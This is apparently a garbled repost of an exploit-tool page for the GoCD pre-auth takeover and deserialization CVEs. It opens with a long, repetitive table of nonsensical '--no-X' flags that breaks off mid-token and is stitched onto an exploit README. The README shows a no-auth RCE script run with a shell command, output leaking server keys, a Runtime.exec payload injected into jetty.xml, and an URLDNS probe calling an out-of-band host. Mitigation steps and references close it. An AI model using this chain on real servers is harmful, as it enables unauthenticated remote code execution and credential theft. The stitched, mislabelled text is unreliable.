    | `--no-env` | Deaktiviert env |
    | `--no-set` | Deaktiviert set |
    | `--no-shopt` | Deaktiviert shopt |
    | `--no-trap` | Deaktiviert trap |
    | `--no-wait` | Deaktiviert wait |
    | `--no-kill` | Deaktiviert kill |
    | `--no-jobs` | Deaktiviert jobs |
    | `--no-bg` | Deaktiviert bg |
    | `--no-fg` | Deaktiviert fg |
    | `--no-disown` | Deaktiviert disown |
    | `--no-suspend` | Deaktiviert suspend |
    | `--no-nice` | Deaktiviert nice |
    | `--no-renice` | Deaktiviert renice |
    | `--no-nohup` | Deaktiviert nohup |
    | `--no-time` | Deaktiviert time |
    | `--no-timeout` | Deaktiviert timeout |
    | `--no-xargs` | Deaktiviert xargs |
    | `--no-parallel` | Deaktiviert parallel |
    | `--no-screen` | Deaktiviert screen |
    | `--no-tmux` | Deaktiviert tmux |
    | `--no-nano` | Deaktiviert nano |
    | `--no-vim` | Deaktiviert vim |
    | `--no-emacs` | Deaktiviert emacs |
    | `--no-ed` | Deaktiviert ed |
    | `--no-ex` | Deaktiviert ex |
    | `--no-vi` | Deaktiviert vi |
    | `--no-view` | Deaktiviert view |
    | `--no-less` | Deaktiviert less |
    | `--no-more` | Deaktiviert more |
    | `--no-cat` | Deaktiviert cat |
    | `--no-tac` | Deaktiviert tac |
    | `--no-nl` | Deaktiviert nl |
    | `--no-od` | Deaktiviert od |
    | `--no-hexdump` | Deaktiviert hexdump |
    | `--no-xxd` | Deaktiviert xxd |
    | `--no-strings` | Deaktiviert strings |
    | `--no-file` | Deaktiviert file |
    | `--no-stat` | Deaktiviert stat |
    | `--no-touch` | Deaktiviert touch |
    | `--no-mkdir` | Deaktiviert mkdir |
    | `--no-rmdir` | Deaktiviert rmdir |
    | `--no-ln` | Deaktiviert ln |
    | `--no-chmod` | Deaktiviert chmod |
    | `--no-chown` | Deaktiviert chown |
    | `--no-chgrp` | Deaktiviert chgrp |
    | `--no-umask` | Deaktiviert umask |
    | `--no-du` | Deaktiviert du |
    | `--no-df` | Deaktiviert df |
    | `--no-mount` | Deaktiviert mount |
    | `--no-umount` | Deaktiviert umount |
    | `--no-fdisk` | Deaktiviert fdisk |
    | `--no-parted` | Deaktiviert parted |
    | `--no-mkfs` | Deaktiviert mkfs |
    | `--no-fsck` | Deaktiviert fsck |
    | `--no-dd` | Deaktiviert dd |
    | `--no-sync` | Deaktiviert sync |
    | `--no-eject` | Deaktiviert eject |
    | `--no-lsblk` | Deaktiviert lsblk |
    | `--no-blkid` | Deaktiviert blkid |
    | `--no-lsof` | Deaktiviert lsof |
    | `--no-fuser` | Deaktiviert fuser |
    | `--no-ps` | Deaktiviert ps |
    | `--no-top` | Deaktiviert top |
    | `--no-htop` | Deaktiviert htop |
    | `--no-atop` | Deaktiviert atop |
    | `--no-iotop` | Deaktiviert iotop |
    | `--no-vmstat` | Deaktiviert vmstat |
    | `--no-iostat` | Deaktiviert iostat |
    | `--no-mpstat` | Deaktiviert mpstat |
    | `--no-sar` | Deaktiviert sar |
    | `--no-free` | Deaktiviert free |
    | `--no-uptime` | Deaktiviert uptime |
    | `--no-w` | Deaktiviert w |
    | `--no-who` | Deaktiviert who |
    | `--no-users` | Deaktiviert users |
    | `--no-last` | Deaktiviert last |
    | `--no-lastlog` | Deaktiviert lastlog |
    | `--no-id` | Deaktiviert id |
    | `--no-groups` | Deaktiviert groups |
    | `--no-whoami` | Deaktiviert whoami |
    | `--no-su` | Deaktiviert su |
    | `--no-sudo` | Deaktiviert sudo |
    | `--no-passwd` | Deaktiviert passwd |
    | `--no-useradd` | Deaktiviert useradd |
    | `--no-usermod` | Deaktiviert usermod |
    | `--no-userdel` | Deaktiviert userdel |
    | `--no-groupadd` | Deaktiviert groupadd |
    | `--no-groupmod` | Deaktiviert groupmod |
    | `--no-groupdel` | Deaktiviert groupdel |
    | `--no-chage` | Deaktiviert chage |
    | `--no-newgrp` | Deaktiviert newgrp |
    | `--no-sg` | Deaktiviert sg |
    | `--no-gpasswd` | Deaktiviert gpasswd |
    | `--no-chsh` | Deaktiviert chsh |
    | `--no-chfn` | Deaktiviert chfn |
    | `--no-finger` | Deaktiviert finger |
    | `--no-ldap` | Deaktiviert ldap |
    | `--no-kerberos` | Deaktiviert kerberos |
    | `--no-pam` | Deaktiviert pam |
    | `--no-nss` | Deaktiviert nss |
    | `--no-sssd` | Deaktiviert sssd |
    | `--no-winbind` | Deaktiviert winbind |
    | `--no-samba` | Deaktiviert samba |
    | `--no-nfs` | Deaktiviert nfs |
    | `--no-cifs` | Deaktiviert cifs |
    | `--no-sshfs` | Deaktiviert sshfs |
    | `--no-fuse` | Deaktiviert fuse |
    | `--no-autofs` | Deaktiviert autofs |
    | `--no-systemd` | Deaktiviert systemd |
    | `--no-sysvinit` | Deaktiviert sysvinit |
    | `--no-upstart` | Deaktiviert upstart |
    | `--no-openrc` | Deaktiviert openrc |
    | `--no-runit` | Deaktiviert runit |
    | `--no-s6` | Deaktiviert s6 |
    | `--no-supervisor` | Deaktiviert supervisor |
    | `--no-monit` | Deaktiviert monit |
    | `--no-god` | Deaktiviert god |
    | `--no-bluepill` | Deaktiviert bluepill |
    | `--no-forever` | Deaktiviert forever |
    | `--no-pm2` | Deaktiviert pm2 |
    | `--no-nodemon` | Deaktiviert nodemon |
    | `--no-systemctl` | Deaktiviert systemctl |
    | `--no-service` | Deaktiviert service |
    | `--no-init` | Deaktiviert init |
    | `--no-shutdown` | Deaktiviert shutdown |
    | `--no-reboot` | Deaktiviert reboot |
    | `--no-halt` | Deaktiviert halt |
    | `--no-poweroff` | Deaktiviert poweroff |
    | `--no-suspend` | Deaktiviert suspend |
    | `--no-hibernate` | Deaktiviert hibernate |
    | `--no-hybrid-sleep` | Deaktiviert hybrid-sleep |
    | `--no-suspend-then-hibernate` | Deaktiviert suspend-then-hibernate |
    | `--no-emergency` | Deaktiviert emergency |
    | `--no-rescue` | Deaktiviert rescue |
    | `--no-default` | Deaktiviert default |
    | `--no-graphical` | Deaktiviert graphical |
    | `--no-multi-user` | Deaktiviert multi-user |
    | `--no-rescue` | Deaktiviert rescue |
    | `--no-emergency` | Deaktiviert emergency |
    | `--no-reboot` | Deaktiviert reboot |
    | `--no-poweroff` | Deaktiviert poweroff |
    | `--no-halt` | Deaktiviert halt |
    | `--no-kexec` | Deaktiviert kexec |
    | `--no-soft-reboot` | Deaktiviert soft-reboot |
    | `--no-exit` | Deaktiviert exit |
    | `--no-quit` | Deaktiviert quit |
    | `--no-abort` | Deaktiviert abort |
    | `--no-fail` | Deaktiviert fail |
    | `--no-succeed` | Deaktiviert succeed |
    | `--no-retry` | Deaktiviert retry |
    | `--no-ignore` | Deaktiviert ignore |
    | `--no-force` | Deaktiviert force |
    | `--no-yes` | Deaktiviert yes |
    | `--no-no` | Deaktiviert no |
    | `--no-ask` | Deaktiviert ask |
    | `--no-confirm` | Deaktiviert confirm |
    | `--no-prompt` | Deaktiviert prompt |
    | `--no-input` | Deaktiviert input |
    | `--no-output` | Deaktiviert output |
    | `--no-error` | Deaktiviert error |
    | `--no-warning` | Deaktiviert warning |
    | `--no-info` | Deaktiviert info |
    | `--no-debug` | Deaktiviert debug |
    | `--no-trace` | Deaktiviert trace |
    | `--no-log` | Deaktiviert log |
    | `--no-verbose` | Deaktiviert verbose |
    | `--no-quiet` | Deaktiviert quiet |
    | `--no-silent` | Deaktiviert silent |
    | `--no-loud` | Deaktiviert loud |
    | `--no-color` | Deaktiviert color |
    | `--no-mono` | Deaktiviert mono |
    | `--no-ansi` | Deaktiviert ansi |
    | `--no-unicode` | Deaktiviert unicode |
    | `--no-ascii` | Deaktiviert ascii |
    | `--no-utf8` | Deaktiviert utf8 |
    | `--no-latin1` | Deaktiviert latin1 |
    | `--no-emoji` | Deaktiviert emoji |
    | `--no-icon` | Deaktiviert icon |
    | `--no-symbol` | Deaktiviert symbol |
    | `--no-badge` | Deaktiviert badge |
    | `--no-label` | Deaktiviert label |
    | `--no-tag` | Deaktiviert tag |
    | `--no-mark` | Deaktiviert mark |
    | `--no-flag` | Deaktiviert flag |
    | `--no-option` | Deaktiviert option |
    | `--no-argument` | Deaktiviert argument |
    | `--no-parameter` | Deaktiviert parameter |
    | `--no-value` | Deaktiviert value |
    | `--no-key` | Deaktiviert key |
    | `--no-name` | Deaktiviert name |
    | `--no-id` | Deaktiviert id |
    | `--no-uuid` | Deaktiviert uuid |
    | `--no-guid` | Deaktiviert guid |
    | `--no-hash` | Deaktiviert hash |
    | `--no-digest` | Deaktiviert digest |
    | `--no-signature` | Deaktiviert signature |
    | `--no-certificate` | Deaktiviert certificate |
    | `--no-key` | Deaktiviert key |
    | `--no-csr` | Deaktiviert csr |
    | `--no-crl` | Deaktiviert crl |
    | `--no-ocsp` | Deaktiviert ocsp |
    | `--no-ca` | Deaktiviert ca |
    | `--no-pki` | Deaktiviert pki |
    | `--no-tls` | Deaktiviert tls |
    | `--no-ssl` | Deaktiviert ssl |
    | `--no-https` | Deaktiviert https |
    | `--no-http` | Deaktiviert http |
    | `--no-ftp` | Deaktiviert ftp |
    | `--no-sftp` | Deaktiviert sftp |
    | `--no-scp` | Deaktiviert scp |
    | `--no-rsync` | Deaktiviert rsync |
    | `--no-tar` | Deaktiviert tar |
    | `--no-zip` | Deaktiviert zip |
    | `--no-gzip` | Deaktiviert gzip |
    | `--no-bzip2` | Deaktiviert bzip2 |
    | `--no-xz` | Deaktiviert xz |
    | `--no-lzma` | Deaktiviert lzma |
    | `--no-zstd` | Deaktiviert zstd |
    | `--no-lz4` | Deaktiviert lz4 |
    | `--no-brotli` | Deaktiviert brotli |
    | `--no-7z` | Deaktiviert 7z |
    | `--no-rar` | Deaktiviert rar |
    | `--no-unzip` | Deaktiviert unzip |
    | `--no-untar` | Deaktiviert untar |
    | `--no-ungzip` | Deaktiviert ungzip |
    | `--no-unbzip2` | Deaktiviert unbzip2 |
    | `--no-unxz` | Deaktiviert unxz |
    | `--no-unlzma` | Deaktiviert unlzma |
    | `--no-unzstd` | Deaktiviert unzstd |
    | `--no-unlz4` | Deaktiviert unlz4 |
    | `--no-unbrotli` | Deaktiviert unbrotli |
    | `--no-un7z` | Deaktiviert un7z |
    | `--no-unrar` | Deaktiviert unrar |
    | `--no-archive` | Deaktiviert archive |
    | `--no-extract` | Deaktiviert extract |
    | `--no-compress` | Deaktiviert compress |
    | `--no-decompress` | Deaktiviert decompress |
    | `--no-encode` | Deaktiviert encode |
    | `--no-decode` | Deaktiviert decode |
    | `--no-encrypt` | Deaktiviert encrypt |
    | `--no-decrypt` | Deaktiviert decrypt |
    | `--no-sign` | Deaktiviert sign |
    | `--no-verify` | Deaktiviert verify |
    | `--no-hash` | Deaktiviert hash |
    | `--no-checksum` | Deaktiviert checksum |
    | `--no-digest` | Deaktiviert digest |
    | `--no-fingerprint` | Deaktiviert fingerprint |
    | `--no-key` | Deaktiviert key |
    | `--no-cert` | Deaktiviert cert |
    | `--no-ca` | Deaktiviert ca |
    | `--no-crl` | Deaktiviert crl |
    | `--no-ocsp` | Deaktiviert ocsp |
    | `--no-csr` | Deaktiviert csr |
    | `--no-pem` | Deaktiviert pem |
    | `--no-der` | Deaktiviert der |
    | `--no-pkcs12` | Deaktiviert pkcs12 |
    | `--no-pkcs7` | Deaktiviert pkcs7 |
    | `--no-pkcs8` | Deaktiviert pkcs8 |
    | `--no-pkcs10` | Deaktiviert pkcs10 |
    | `--no-jks` | Deaktiviert jks |
    | `--no-keystore` | Deaktiviert keystore |
    | `--no-truststore` | Deaktiviert truststore |
    | `--no-keytool` | Deaktiviert keytool |
    | `--no-openssl` | Deaktiviert openssl |
    | `--no-gnutls` | Deaktiviert gnutls |
    | `--no-nss` | Deaktiviert nss |
    | `--no-mbedtls` | Deaktiviert mbedtls |
    | `--no-wolfssl` | Deaktiviert wolfssl |
    | `--no-boringssl` | Deaktiviert boringssl |
    | `--no-libressl` | Deaktiviert libressl |
    | `--no-tls` | Deaktiviert tls |
    | `--no-ssl` | Deaktiviert ssl |
    | `--no-dtls` | Deaktiviert dtls |
    | `--no-quic` | Deaktiviert quic |
    | `--no-http2` | Deaktiviert http2 |
    | `--no-http3` | Deaktiviert http3 |
    | `--no-websocket` | Deaktiviert websocket |
    | `--no-webrtc` | Deaktiviert webrtc |
    | `--no-sse` | Deaktiviert sse |
    | `--no-socks` | Deaktiviert socks |
    | `--no-proxy` | Deaktiviert proxy |
    | `--no-vpn` | Deaktiviert vpn |
    | `--no-tunnel` | Deaktiviert tunnel |
    | `--no-tor` | Deaktiviert tor |
    | `--no-i2p` | Deaktiviert i2p |
    | `--no-freenet` | Deaktiviert freenet |
    | `--no-zeronet` | Deaktiviert zeronet |
    | `--no-ipfs` | Deaktiviert ipfs |
    | `--no-dht` | Deaktiviert dht |
    | `--no-bittorrent` | Deaktiviert bittorrent |
    | `--no-magnet` | Deaktiviert magnet |
    | `--no-ed2k` | Deaktiviert ed2k |
    | `--no-gnutella` | Deaktiviert gnutella |
    | `--no-fasttrack` | Deaktiviert fasttrack |
    | `--no-direct-connect` | Deaktiviert direct-connect |
    | `--no-usenet` | Deaktiviert usenet |
    | `--no-nntp` | Deaktiviert nntp |
    | `--no-irc` | Deaktiviert irc |
    | `--no-xmpp` | Deaktiviert xmpp |
    | `--no-matrix` | Deaktiviert matrix |
    | `--no-activitypub` | Deaktiviert activitypub |
    | `--no-email` | Deaktiviert email |
    | `--no-smtp` | Deaktiviert smtp |
    | `--no-imap` | Deaktiviert imap |
    | `--no-pop3` | Deaktiviert pop3 |
    | `--no-exchange` | Deaktiviert exchange |
    | `--no-ews` | Deaktiviert ews |
    | `--no-mapi` | Deaktiviert mapi |
    | `--no-activesync` | Deaktiviert activesync |
    | `--no-caldav` | Deaktiviert caldav |
    | `--no-carddav` | Deaktiviert carddav |
    | `--no-ldap` | Deaktiviert ldap |
    | `--no-kerberos` | Deaktiviert kerberos |
    | `--no-radius` | Deaktiviert radius |
    | `--no-tacacs` | Deaktiviert tacacs |
    | `--no-diameter` | Deaktiviert diameter |
    | `--no-saml` | Deaktiviert saml |
    | `--no-oauth` | Deaktiviert oauth |
    | `--no-openid` | Deaktiviert openid |
    | `--no-jwt` | Deaktiviert jwt |
    | `--no-jose` | Deaktiviert jose |
    | `--no-jwe` | Deaktiviert jwe |
    | `--no-jws` | Deaktiviert jws |
    | `--no-jwk` | Deaktiviert jwk |
    | `--no-jwks` | Deaktiviert jwks |
    | `--no-sso` | Deaktiviert sso |
    | `--no-mfa` | Deaktiviert mfa |
    | `--no-2fa` | Deaktiviert 2fa |
    | `--no-totp` | Deaktiviert totp |
    | `--no-hotp` | Deaktiviert hotp |
    | `--no-webauthn` | Deaktiviert webauthn |
    | `--no-fido` | Deaktiviert fido |
    | `--no-u2f` | Deaktiviert u2f |
    | `--no-passkey` | Deaktiviert passkey |
    | `--no-biometric` | Deaktiviert biometric |
    | `--no-fingerprint` | Deaktiviert fingerprint |
    | `--no-face` | Deaktiviert face |
    | `--no-iris` | Deaktiviert iris |
    | `--no-voice` | Deaktiviert voice |
    | `--no-retina` | Deaktiviert retina |
    | `--no-dna` | Deaktiviert dna |
    | `--no-captcha` | Deaktiviert captcha |
    | `--no-recaptcha` | Deaktiviert recaptcha |
    | `--no-hcaptcha` | Deaktiviert hcaptcha |
    | `--no-turnstile` | Deaktiviert turnstile |
    | `--no-cloudflare` | Deaktiviert cloudflare |
    | `--no-akamai` | Deaktiviert akamai |
    | `--no-incapsula` | Deaktiviert incapsula |
    | `--no-sucuri` | Deaktiviert sucuri |
    | `--no-fastly` | Deaktiviert fastly |
    | `--no-cloudfront` | Deaktiviert cloudfront |
    | `--no-cdn` | Deaktiviert cdn |
    | `--no```bash
    # Criar arquivo de prova no servidor
    # Create proof file on the server
    python3 gocd_rce_noauth.py \
        -t http://localhost:8153 \
        -c "touch /tmp/pwned_by_gocd_cve"
    
    # Verificar / Verify
    docker exec gocd-server-vuln ls /tmp/pwned_by_gocd_cve
    

    Erwartete Ausgabe / Expected output```

    [1] Verificando arquivo cruise_config Arquivo cruise_config acessível

    [2] Lendo atributos do servidor agentAutoRegisterKey: 3b4c5d6e-... tokenGenerationKey: 7f8a9b0c-... artifactsdir: /godata/artifacts siteUrl: http://localhost:8153/go ...

    [3] Verificando arquivo variáveis de ambiente do processo Arquivo acessível

    [4] Verificando arquivo jetty.xml Arquivo acessível

    [5] Criando backup do arquivo jetty.xml Backup criado

    [6] Criando arquivo exploit_jetty.xml Arquivo criado

    [7] Registrando novo agent Gerando token do agent Token gerado

    Registrando novo agent Agent registrado Dados do agent: {'hostname': 'gocd_rce_noauth', 'uuid': 'a1b2c3d4-...', ...}

    [8] Serializando objetos Objetos serializados

    [9] Enviando objetos serializados Enviando exploit_jetty.xml Arquivo enviado

    Enviando comando para forçar reinicialização Aguardando reinicialização

    root@kitploit:~
    #### Lokal generierte Dateien / Files generated locally
    
    | Datei / File | Inhalt / Content |
    |---|---|
    | `bkp_orig_jetty.xml` | Originalkopie der vom Server heruntergeladenen `/etc/go/jetty.xml` |
    | `exploit_jetty.xml` | Modifizierte Version mit `Runtime.exec({comando})`, injiziert vor `</Configure>` |
    
    #### In jetty.xml injizierte Payload / Payload injected into jetty.xml```xml
    <Call class="java.lang.Runtime" name="getRuntime">
        <Call name="exec">
            <Arg>{comando}</Arg>
        </Call>
    </Call>
    </Configure>
    

    gocd_urldns.py — URLDNS / Deserialisierungserkennung

    [PT] Out-of-band-Erkennungsvariante, die die Java-Deserialisierungsschwachstelle bestätigt, ohne destruktiven Code auszuführen. Erfordert Anmeldedaten zur Authentifizierung und Auflistung der registrierten Agents, aus denen sie die UUID eines Agents mit agent_state != "Building" extrahiert. Anschließend serialisiert sie das URLDNS-Gadget mit ysoserial, das auf eine DNS-Interaktions-URL zeigt, und sendet es an den Endpunkt /go/remoting/remoteBuildRepository. Ein DNS-Callback bestätigt, dass der Server die Payload deserialisiert hat.

    [EN] Eine Out-of-band-Erkennungsvariante, die die Java-Deserialisierungsschwachstelle bestätigt, ohne destruktiven Code auszuführen. Erfordert Anmeldedaten zur Authentifizierung und Auflistung der registrierten Agents, aus denen sie die UUID eines Agents mit agent_state != "Building" extrahiert. Anschließend serialisiert sie das URLDNS-Gadget mit ysoserial, das auf eine DNS-Interaktions-URL zeigt, und sendet es an den Endpunkt /go/remoting/remoteBuildRepository. Ein DNS-Callback bestätigt, dass der Server die Payload deserialisiert hat.

    Argumentos / Arguments

    FlagObrigatório / RequiredDescrição (PT)Description (EN)
    -u✅Usuário GoCDGoCD username
    -p✅Senha GoCDGoCD password
    -i✅URL de interação DNS (ex: http://abcdef.oast.pro)DNS interaction URL
    -t✅URL base do GoCDGoCD base URL

    Exemplo / Example```bash

    python3 gocd_urldns.py
    -t http://localhost:8153
    -u admin
    -p password
    -i http://abcdef.oast.pro

    root@kitploit:~
    #### Erwartete Ausgabe / Expected output```
    [1] Autenticando
    Autenticado com sucesso
    
    [2] Verificando arquivo cruise_config
    Arquivo cruise_config acessível
    
    [3] Lendo atributos do servidor
    agentAutoRegisterKey: 3b4c5d6e-...
    tokenGenerationKey: 7f8a9b0c-...
    ...
    
    [4] Verificando arquivo variáveis de ambiente do processo
    Arquivo acessível
    
    [5] Listando agents
    Lista carregada
    
    Buscando GUID de um agent
    Localizado agent com status != Building
    GUID: 550e8400-e29b-41d4-a716-446655440000
    
    [9] Serializando objetos
    b'\xac\xed\x00\x05...'
    Objetos serializados
    
    [10] Enviando objeto serializado
    <Response [500]>
    ...
    Objeto URLDNS enviado
    

    [PT] Nach dem Senden im interactsh/Collaborator-Dashboard prüfen, ob eine DNS-Anfrage vom IP des GoCD-Servers ausging. Dies bestätigt die Deserialisierungs-Schwachstelle, bevor sie mit gocd_rce_noauth.py ausgenutzt wird.

    [EN] Nach dem Senden im interactsh/Collaborator-Dashboard prüfen, ob eine DNS-Anfrage von der IP des GoCD-Servers stammt. Dies bestätigt die Deserialisierungs-Schwachstelle, bevor sie mit gocd_rce_noauth.py ausgenutzt wird.

    Header de autorização / Authorization header

    Beide Skripte berechnen die Autorisierung auf dieselbe Weise / Both scripts compute authorization the same way:```python Authorization = base64( HMAC-SHA256(key=tokenGenerationKey, msg=agent_uuid) )

    root@kitploit:~
    ---
    
    ## 8. Referenzen / References
    
    ### CVE — NVD / NIST
    
    | CVE | Link |
    |-----|------|
    | CVE-2021-43287 | https://nvd.nist.gov/vuln/detail/CVE-2021-43287 |
    | CVE-2021-43288 | https://nvd.nist.gov/vuln/detail/CVE-2021-43288 |
    | CVE-2021-43289 | https://nvd.nist.gov/vuln/detail/CVE-2021-43289 |
    | CVE-2021-43290 | https://nvd.nist.gov/vuln/detail/CVE-2021-43290 |
    
    ### Technische Analyse / Technical writeups
    
    | Ressource / Resource | URL |
    |---|---|
    | SonarSource — Agent 007: Pre-Auth Takeover (CVE-2021-43287) | https://blog.sonarsource.com/gocd-pre-auth-pipeline-takeover |
    | SonarSource — Agent 008: Chaining Vulnerabilities (CVE-2021-43288/89/90) | https://blog.sonarsource.com/gocd-vulnerability-chain |
    | AttackerKB — CVE-2021-43287 | https://attackerkb.com/assessments/9101a539-4c6e-4638-a2ec-12080b7e3b50 |
    
    ### Fix-Commits / Fix commits
    
    | CVE | Commit | Änderung / Change |
    |-----|--------|-----------------|
    | CVE-2021-43287 | [`41abc21`](https://github.com/gocd/gocd/commit/41abc210ac4e8cfa184483c9ff1c0cc04fb3511c) | Auth-Prüfung in `DashBoardController.java` |
    | CVE-2021-43288 | [`f5c1d2a`](https://github.com/gocd/gocd/commit/f5c1d2aa9ab302a97898a6e4b16218e64fe8e9e4) | `StringEscapeUtils.escapeHtml4()` in Artefaktnamen |
    | CVE-2021-43289 | [`c22e042`](https://github.com/gocd/gocd/commit/c22e0428164af25d3e91baabd3f538a41cadc82f) | `isValidStageCounter()` im PUT-Handler |
    | CVE-2021-43290 | [`4c4bb47`](https://github.com/gocd/gocd/commit/4c4bb4780eb0d3fc4cacfc4cfcc0b07e2eaf0595) | `isValidStageCounter()` im GET-Handler |
    
    ### Release Notes / Korrigierte Version
    
    - GoCD v21.3.0: https://www.gocd.org/releases/#21-3-0
    
    ---
    
    ## 9. Chronologie / Timeline
    
    | Datum / Date | Ereignis / Event |
    |-------------|----------------|
    | 2021-10-18 – 2021-10-21 | SonarSource meldet die Schwachstellen über HackerOne an GoCD |
    | 2021-10-23 | GoCD veröffentlicht die Patches auf GitHub |
    | 2021-10-26 | GoCD veröffentlicht Version v21.3.0 mit allen Korrekturen |
    | 2021-11-04 | CVEs -43288, -43289, -43290 zugewiesen |
    | 2022-04-14 | CVE-2021-43287 im NVD veröffentlicht |
    
    ---
    
    ## 10. Mitigation / Mitigation
    
    **[PT]**
    1. **Aktualisieren Sie** GoCD sofort auf Version **≥ 21.3.0**.
    2. Wenn das Business-Continuity-Add-on nicht verwendet wird, **deaktivieren Sie es**.
    3. **Rotieren Sie** `tokenGenerationKey`, `agentAutoRegisterKey` und alle möglicherweise exponierten Pipeline-Anmeldedaten.
    4. **Überprüfen Sie die Logs** auf nicht authentifizierte Anfragen an `/go/add-on/business-continuity/` und POST-Anfragen an `/go/remoting/remoteBuildRepository` mit `Content-Type: application/x-java-serialized-object`.
    5. Wenden Sie **Netzwerksegmentierung** an, um den Zugriff auf den GoCD-Server auf autorisierte Hosts zu beschränken.
    
    **[EN]**
    1. **Upgrade** GoCD to version **≥ 21.3.0** immediately.
    2. If the Business Continuity add-on is not needed, **disable it**.
    3. **Rotate** `tokenGenerationKey`, `agentAutoRegisterKey`, and all pipeline credentials that may have been exposed.
    4. **Review logs** for unauthenticated requests to `/go/add-on/business-continuity/` and POST requests to `/go/remoting/remoteBuildRepository` with `Content-Type: application/x-java-serialized-object`.
    5. Apply **network segmentation** to restrict GoCD server access to authorized hosts only.
    
    ---
    
    *Nur für Bildungszwecke. / For educational purposes only.*
    
    Tool herunterladen